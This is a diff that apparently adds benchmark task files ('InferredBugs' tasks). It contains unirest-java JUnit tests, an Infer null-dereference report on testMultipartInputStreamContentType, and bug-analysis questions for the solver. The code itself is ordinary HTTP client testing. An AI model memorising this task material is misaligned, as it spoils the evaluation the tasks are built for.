+		GetResponse postResponseMock = new GetResponse();
+		postResponseMock.setUrl("http://httpbin.org/post");
+
+		HttpResponse<JsonNode> postResponse = Unirest.post(postResponseMock.getUrl()).header("accept", "application/json").header("Content-Type", "application/json").body(postResponseMock).asJson();
+
+		assertEquals(200, postResponse.getStatus());
+		assertEquals(postResponse.getBody().getObject().getString("data"), "{\"url\":\"http://httpbin.org/post\"}");
+	}
+
+	@Test
+	public void testPostProvidesSortedParams() throws IOException {
+		// Verify that fields are encoded into the body in sorted order.
+		HttpRequest httpRequest = Unirest.post("test").field("z", "Z").field("y", "Y").field("x", "X").getHttpRequest();
+
+		InputStream content = httpRequest.getBody().getEntity().getContent();
+		String body = IOUtils.toString(content, "UTF-8");
+		assertEquals("x=X&y=Y&z=Z", body);
+	}
+
+	@Test
+	public void testHeaderNamesCaseSensitive() {
+		// Verify that header names are the same as server (case sensitive)
+		final Headers headers = new Headers();
+		headers.put("Content-Type", Arrays.asList("application/json"));
+
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("cOnTeNt-TyPe"));
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("content-type"));
+		assertEquals("Only header \"Content-Type\" should exist", "application/json", headers.getFirst("Content-Type"));
+	}
+
+
+	private String findAvailableIpAddress() throws IOException {
+		for (int i = 100; i <= 255; i++) {
+			String ip = "192.168.1." + i;
+			if (!InetAddress.getByName(ip).isReachable(1000)) {
+				return ip;
+			}
+		}
+
+		throw new RuntimeException("Couldn't find an available IP address in the range of 192.168.0.100-255");
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `jsonResponse.getHeaders()` could be null and is dereferenced at line 336.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testMultipartInputStreamContentType()
+
+### Procedure Id:
+io.github.openunirest.http.UnirestTest.testMultipartInputStreamContentType():void.513e0e5d751eb76227739c99e9380ea6
+
+### File:
+src/test/java/io/github/openunirest/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testMultipartInputStreamContentType|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+cbec719adf54a7920543835184142c4a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6651/instruction.md b/inferredbugs-6651/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..408a0cd759b1860cb67493f941aaee6f6c44bc32
--- /dev/null
+++ b/inferredbugs-6651/instruction.md
@@ -0,0 +1,949 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright for portions of OpenUnirest/uniresr-java are held by Mashape (c) 2013 as part of Kong/unirest-java.
+All other copyright for OpenUnirest/unirest-java are held by OpenUnirest (c) 2018.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+package io.github.openunirest.http;
+
+import io.github.openunirest.http.async.Callback;
+import io.github.openunirest.http.options.Options;
+import io.github.openunirest.request.body.MultipartBody;
+import io.github.openunirest.http.exceptions.UnirestException;
+import io.github.openunirest.request.GetRequest;
+import io.github.openunirest.request.HttpRequest;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.http.entity.ContentType;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.nio.client.HttpAsyncClientBuilder;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.*;
+
+import java.io.*;
+import java.net.InetAddress;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static io.github.openunirest.http.TestUtils.read;
+import static org.junit.Assert.*;
+
+public class UnirestTest {
+
+	private CountDownLatch lock;
+	private boolean status;
+
+	@BeforeClass
+	public static void suiteSetUp(){
+		MockServer.start();
+	}
+
+	@AfterClass
+	public static void suiteTearDown(){
+		MockServer.shutdown();
+	}
+
+	@Before
+	public void setUp() {
+		MockServer.reset();
+		lock = new CountDownLatch(1);
+		status = false;
+	}
+
+	@Test
+	public void postFormReturnJson() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param1", "value1")
+				.field("param2", "bye")
+				.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = parse(jsonResponse);
+		json.assertHeader("Accept", "application/json");
+		json.assertQuery("param1", "value1");
+		json.assertQuery("param2", "bye");
+	}
+
+	@Test
+	public void canPassQueryParamsOnStringOrWithForm() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=mark")
+				.header("accept", "application/json")
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.assertQuery("name", "mark");
+
+		response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("name", "mark2")
+				.asJson();
+
+		json = parse(response);
+		json.assertQuery("name", "mark2");
+	}
+
+	@Test
+	public void multipleParams() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=ringo")
+				.header("accept", "application/json")
+				.queryString("name", "paul")
+				.queryString("name", "john")
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.assertQuery("name", "ringo");
+		json.assertQuery("name", "paul");
+		json.assertQuery("name", "john");
+	}
+
+	@Test
+	public void testGetUTF8() {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostUTF8() {
+		HttpResponse response = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostBinaryUTF8() throws URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+				.header("Accept", ContentType.MULTIPART_FORM_DATA.getMimeType())
+				.field("param3", "こんにちは")
+				.field("file", new File(getClass().getResource("/test").toURI()))
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.assertQuery("param3", "こんにちは");
+		json.getFile("test").assertBody("This is a test file");
+	}
+
+	@Test
+	public void testPostRawBody() {
+		String sourceString = "'\"@こんにちは-test-123-" + Math.random();
+		byte[] sentBytes = sourceString.getBytes();
+
+		HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+				.body(sentBytes)
+				.asJson();
+
+		RequestCapture json = parse(response);
+		json.asserBody(sourceString);
+	}
+
+	@Test
+	public void testCustomUserAgent() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+                .header("user-agent", "hello-world")
+                .asJson();
+
+        RequestCapture json = parse(response);
+        json.assertHeader("User-Agent", "hello-world");
+	}
+
+    @Test
+	public void testGetMultiple() throws JSONException, UnirestException {
+		for (int i = 1; i <= 20; i++) {
+			HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?try=" + i).asJson();
+            parse(response).assertQuery("try", String.valueOf(i));
+		}
+	}
+
+	@Test
+	public void testGetFields() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+                .queryString("name", "mark")
+                .queryString("nick", "thefosk")
+                .asJson();
+
+        RequestCapture parse = parse(response);
+        parse.assertQuery("name", "mark");
+		parse.assertQuery("nick", "thefosk");
+	}
+
+	@Test
+	public void testGetFields2() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+                .queryString("email", "hello@hello.com")
+                .asJson();
+
+        parse(response).assertQuery("email", "hello@hello.com");
+	}
+
+	@Test
+	public void testQueryStringEncoding() throws JSONException, UnirestException {
+		String testKey = "email2=someKey&email";
+		String testValue = "hello@hello.com";
+
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+                .queryString(testKey, testValue)
+                .asJson();
+
+		parse(response).assertQuery(testKey, testValue);
+	}
+
+	@Test
+	public void testDelete() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").asJson();
+		assertEquals(200, response.getStatus());
+
+		response = Unirest.delete("http://httpbin.org/delete").field("name", "mark").asJson();
+		assertEquals("mark", response.getBody().getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testDeleteBody() throws JSONException, UnirestException {
+		String body = "{\"jsonString\":{\"members\":\"members1\"}}";
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").body(body).asJson();
+		assertEquals(200, response.getStatus());
+		assertEquals(body, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testBasicAuth() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/headers").basicAuth("user", "test").asJson();
+		assertEquals("Basic dXNlcjp0ZXN0", response.getBody().getObject().getJSONObject("headers").getString("Authorization"));
+	}
+
+	@Test
+	public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+		Future<HttpResponse<JsonNode>> future = Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync();
+
+		assertNotNull(future);
+		HttpResponse<JsonNode> jsonResponse = future.get();
+
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+
+	@Test
+	public void testAsyncCallback() throws JSONException, InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				assertTrue(jsonResponse.getHeaders().size() > 0);
+				assertTrue(jsonResponse.getBody().toString().length() > 0);
+				assertFalse(jsonResponse.getRawBody() == null);
+				assertEquals(200, jsonResponse.getStatus());
+
+				JsonNode json = jsonResponse.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("value1", json.getObject().getJSONObject("form").getString("param1"));
+				assertEquals("bye", json.getObject().getJSONObject("form").getString("param2"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipart() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartContentType() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/image.jpg").toURI()), "image/jpeg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:image/jpeg"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentType() throws JSONException, URISyntaxException, FileNotFoundException {
+		FileInputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+
+		MultipartBody request = Unirest.post(MockServer.HOST + "/post")
+            .header("accept", ContentType.MULTIPART_FORM_DATA.toString())
+			.field("name", "Mark")
+			.field("file", stream, ContentType.APPLICATION_OCTET_STREAM, "image.jpg");
+
+		HttpResponse<JsonNode> jsonResponse = request
+			.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = parse(jsonResponse);
+		json.assertHeader("Accept", ContentType.MULTIPART_FORM_DATA.toString());
+		json.assertQuery("name", "Mark");
+		assertEquals("application/octet-stream", json.getFile("image.jpg").type);
+	}
+
+	@Test
+	public void testMultipartInputStreamContentTypeAsync() throws JSONException, InterruptedException, URISyntaxException, FileNotFoundException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new FileInputStream(new File(getClass().getResource("/test").toURI())), ContentType.APPLICATION_OCTET_STREAM, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartByteContentType() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "image.jpg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:application/octet-stream"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartByteContentTypeAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/test").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, UnirestException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGzip() throws JSONException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testGzipAsync() throws JSONException, InterruptedException, ExecutionException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJsonAsync().get();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testDefaultHeaders() throws JSONException {
+		Unirest.setDefaultHeader("X-Custom-Header", "hello");
+		Unirest.setDefaultHeader("user-agent", "foobar");
+
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", json.getObject().getJSONObject("headers").getString("X-Custom-Header"));
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("User-Agent"));
+		assertEquals("foobar", json.getObject().getJSONObject("headers").getString("User-Agent"));
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", jsonResponse.getBody().getObject().getJSONObject("headers").getString("X-Custom-Header"));
+
+		Unirest.clearDefaultHeaders();
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertFalse(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+	}
+
+	@Test
+	public void testSetTimeouts() throws IOException {
+		String address = "http://" + findAvailableIpAddress() + "/";
+		long start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > Options.CONNECTION_TIMEOUT + 100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+		Unirest.setTimeouts(2000, 10000);
+		start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > 2100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+	}
+
+	@Test
+	public void testPathParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/{method}").routeParam("method", "get").queryString("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testQueryAndBodyParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/{method}").routeParam("method", "post").queryString("name", "Mark").field("wot", "wat").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("wot"), "wat");
+	}
+
+	@Test
+	public void testPathParameters2() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.patch("http://httpbin.org/{method}").routeParam("method", "patch").field("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals("OK", jsonResponse.getStatusText());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testMissingPathParameter() {
+		try {
+			Unirest.get("http://httpbin.org/{method}").routeParam("method222", "get").queryString("name", "Mark").asJson();
+			fail();
+		} catch (RuntimeException e) {
+			// OK
+		}
+	}
+
+	@Test
+	public void parallelTest() throws InterruptedException {
+		Unirest.setConcurrency(10, 5);
+
+		long start = System.currentTimeMillis();
+		makeParallelRequests();
+		long smallerConcurrencyTime = (System.currentTimeMillis() - start);
+
+		Unirest.setConcurrency(200, 20);
+		start = System.currentTimeMillis();
+		makeParallelRequests();
+		long higherConcurrencyTime = (System.currentTimeMillis() - start);
+
+		assertTrue(higherConcurrencyTime < smallerConcurrencyTime);
+	}
+
+	private void makeParallelRequests() throws InterruptedException {
+		ExecutorService newFixedThreadPool = Executors.newFixedThreadPool(10);
+		final AtomicInteger counter = new AtomicInteger(0);
+		for (int i = 0; i < 200; i++) {
+			newFixedThreadPool.execute(() -> {
+                try {
+                    Unirest.get(MockServer.HOST + "/get").queryString("index", counter.incrementAndGet()).asString();
+                } catch (UnirestException e) {
+                    throw new RuntimeException(e);
+                }
+            });
+		}
+
+		newFixedThreadPool.shutdown();
+		newFixedThreadPool.awaitTermination(10, TimeUnit.MINUTES);
+	}
+
+	@Test
+	public void testAsyncCustomContentType() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/json").body("{\"hello\":\"world\"}").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("{\"hello\":\"world\"}", json.getObject().getString("data"));
+				assertEquals("application/json", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testAsyncCustomContentTypeAndFormParams() throws InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").header("Content-Type", "application/x-www-form-urlencoded").field("name", "Mark").field("hello", "world").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				JsonNode json = jsonResponse.getBody();
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+				assertEquals("world", json.getObject().getJSONObject("form").getString("hello"));
+
+				assertEquals("application/x-www-form-urlencoded", json.getObject().getJSONObject("headers").getString("Content-Type"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGetQuerystringArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "Mark").queryString("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostMultipleFiles() throws JSONException, URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("param3", "wot").field("file1", new File(getClass().getResource("/test").toURI())).field("file2", new File(getClass().getResource("/test").toURI())).asJson();
+
+		JSONObject names = response.getBody().getObject().getJSONObject("files");
+		assertEquals(2, names.length());
+
+		assertEquals("This is a test file", names.getString("file1"));
+		assertEquals("This is a test file", names.getString("file2"));
+
+		assertEquals("wot", response.getBody().getObject().getJSONObject("form").getString("param3"));
+	}
+
+	@Test
+	public void testGetArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("args").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostArray() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("name", "Tom").asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testPostCollection() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").field("name", Arrays.asList("Mark", "Tom")).asJson();
+
+		JSONArray names = response.getBody().getObject().getJSONObject("form").getJSONArray("name");
+		assertEquals(2, names.length());
+
+		assertEquals("Mark", names.getString(0));
+		assertEquals("Tom", names.getString(1));
+	}
+
+	@Test
+	public void testCaseInsensitiveHeaders() {
+		GetRequest request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		JSONObject headers = request.asJson().getBody().getObject().getJSONObject("headers");
+		assertEquals("Marco", headers.getString("Name"));
+
+		request = Unirest.get("http://httpbin.org/headers").header("Name", "Marco").header("Name", "John");
+		assertEquals(1, request.getHeaders().size());
+		assertEquals("Marco", request.getHeaders().get("name").get(0));
+		assertEquals("John", request.getHeaders().get("name").get(1));
+		assertEquals("Marco", request.getHeaders().get("NAme").get(0));
+		assertEquals("John", request.getHeaders().get("NAme").get(1));
+		assertEquals("Marco", request.getHeaders().get("Name").get(0));
+		assertEquals("John", request.getHeaders().get("Name").get(1));
+	}
+
+	@Test
+	public void setTimeoutsAndCustomClient() {
+		try {
+			Unirest.setTimeouts(1000, 2000);
